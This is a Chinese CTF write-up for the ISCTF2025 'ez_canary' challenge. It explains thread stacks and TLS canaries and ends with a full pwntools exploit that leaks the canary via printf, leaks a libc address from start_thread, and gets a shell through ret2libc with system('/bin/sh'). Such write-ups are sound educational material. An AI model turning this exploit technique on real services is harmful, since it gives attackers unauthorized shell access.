ez_canary
.png)
main函数:
.png)
vuln函数:
.png)
main函数有这两个代码:
pthread_create(newthread, 0, vuln, 0);
pthread_join(newthread[0], 0);
这两行代码是 Linux 下多线程编程的核心函数
pthread_create(newthread, 0, vuln, 0);
含义: “启动一个新的线程(子任务),让它去执行 vuln 函数。”
pthread_create:创建线程的 API。
参数 1 (newthread):指针,用来存储新线程的 ID(身份证号)。
参数 2 (0):线程属性,0 表示默认。
参数 3 (vuln):关键点! 指定新线程要运行哪个函数。这里它把 vuln 当作子任务去跑。
参数 4 (0):传递给 vuln 的参数,这里是不传参。
pthread_join(newthread[0], 0);
含义: “主线程(Main)在这里暂停,死等那个新线程结束。”
pthread_join:等待线程结束(类似于父进程 wait 子进程)。
参数 1:指定等哪个线程(就是上面创建的那个)。
参数 2:接收返回值,0 表示不关心。
这会给我们带来三点不同:
A. 栈的位置变了 (mmap 分配)
普通程序:栈是由内核自动分配的,通常在内存的很高地址(如 0x7ff...),且栈的大小是固定的。
多线程程序:子线程的栈是 通过 mmap 系统调用动态分配的。
这意味着子线程的栈位于 堆 (Heap) 和 Libc 附近的区域(通常是 0x7f...)。
B. Canary 变了
在 Linux 中,Canary 的值存储在 TLS (Thread Local Storage) 结构体中。
在子线程中,TLS 结构体紧挨着线程栈的高地址!
[ 低地址 ] <--- 栈增长方向
| 你的 Buffer |
| ... |
| Canary (栈上)|
| 返回地址 |
| ... |
| TLS 结构体 | <--- 存放 Canary 母本的地方 (Master Canary)
[ 高地址 ]
C. 栈空间有限
子线程的栈通常比较小(默认几 MB,有时会被题目限制得更小)。
这题的思路很简单,就是利用printf越界读取canary后覆盖返回地址为vuln再printf泄露libc地址ret2libc
要注意一点是这里要我们要泄露libc地址是不能泄露返回地址的
.png)
.png)
这里我们可以看到,我们泄露的返回地址是再一个匿名映射中的,这是线程的栈地址,这是它的典型特征:
特征 1:标志性的“警戒页” (Guard Page)
请看第一行:... ---p 1000
权限:---p 表示 没有任何权限(不可读、不可写、不可执行)。
作用:这就是所谓的 Guard Page。它像是一堵墙,挡在栈的最底端(低地址)。如果你的递归太深或者申请了太大的局部变量,导致爆栈,程序写入这个区域时就会立即触发 SIGSEGV 崩溃。
出现场景:这是 pthread_create 创建线程时的标配。
特征 2:经典的 8MB 大小
请看第二行:... rw-p 800000
大小:0x800000 字节 = 8 MB。
含义:这是 Linux 系统默认的线程栈大小(可以通过 ulimit -s 查看)。
权限:rw-p 表示可读可写,正是栈用来存放变量和数据的地方。
特征 3:匿名映射 (Anonymous Mapping)
名字:[anon_...]。
区别:主线程的栈通常会明确标记为 [stack],而子线程的栈是通过 mmap 分配的,所以显示为匿名内存块。
我们发现这里是线程栈的地址,而线程栈的地址是跟内核有关的,所以我们用这个地址在本地算的偏移量在远程是不对的,而远程的偏移量我们也不知道,所以我们不能泄露这个地址。
我们看栈上其他位置有没有能用的
.png)
我们以rbp的位置为参考计算填充字节,注意,这里要看第二次vuln时(即我们覆盖返回地址跳转的vuln)的栈,不然会有16字节的偏差,这是因为我们覆盖返回地址不用call会偏差8字节,然后payload中又有个ret又会偏差8字节,这里是vuln的开头的mov rbp,rsp;,在下一步rsp就要跳转走了,我们要使用stack看的话要在rsp跳转前看,图中rsp就是栈底地址即后面rbp的地址。
我们发现有一个start_thread的libc地址,这个我们可以用。
低地址
^
| +---------------------+ <--- RSP (当前栈顶)
| | |
| | 你的 Buffer |
| | (大小 0x150) |
| | |
| +---------------------+
| | Canary (8字节) |
| +---------------------+
| | Saved RBP (8字节) | <--- RBP (栈底 )
| +---------------------+
| | Return Address | <--- 线程栈地址
| +---------------------+
| | ... |
| | Start_Thread | <--- 那个 384 字节深处的libc地址
| +---------------------+
v
高地址
start_thread是那两行线程代码调用的,与__libc_start_main类似。
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
filename = './pwn_patched'
libc = ELF('./libc.so.6')
p = process(filename)
p.recvuntil(b"Please enter your name >>\n")
p.send(b'a' * 328 + b'b')
ret = 0x40101a
p.recvuntil(b"Your name: ")
leak_data = p.recvuntil(b"Please enter your content >>\n", drop=True)
canary_part = leak_data[329:329+7]
canary = u64(b'\x00' + canary_part)
success(f"Canary: {hex(canary)}")
vuln_addr = 0x40123d
payload_restart = b'a' * 264
payload_restart += p64(canary)
payload_restart += p64(0xdeadbeef)
payload_restart += p64(ret)
payload_restart += p64(vuln_addr)
p.send(payload_restart)
p.recvuntil(b"Please enter your name >>\n")
p.send(b'c' * 384)
p.recvuntil(b"Your name: ")
p.recvuntil(b'c' * 384)
leak_raw = p.recv(6)
leak_addr = u64(leak_raw.ljust(8, b'\x00'))
success(f"Leaked Stack Addr (Libc): {hex(leak_addr)}")
libc.address = leak_addr - 0x947d0
success(f"Leaked libc_base {hex(libc.address)}")
pop_rdi = libc.address + 0x000000000002a3e5
system_addr = libc.symbols['system']
success(f"Leaked system: {hex(system_addr)}")
pop_rdi = ROP(libc).find_gadget(['pop rdi', 'ret'])[0]
success(f"Leaked rdi: {hex(pop_rdi)}")
bin_sh = next(libc.search(b'/bin/sh'))
success(f"Leaked bin: {hex(bin_sh)}")
payload_shell = b'a' * 264
payload_shell += p64(canary)
payload_shell += p64(0)
payload_shell += p64(ret)
payload_shell += p64(pop_rdi)
payload_shell += p64(bin_sh)
payload_shell += p64(system_addr)
p.recvuntil(b"Please enter your content >>\n")
p.send(payload_shell)
p.interactive()
题目链接:
CTF-Writeups/ISCTF2025/ez_canary at main · ZenDuk17/CTF-Writeups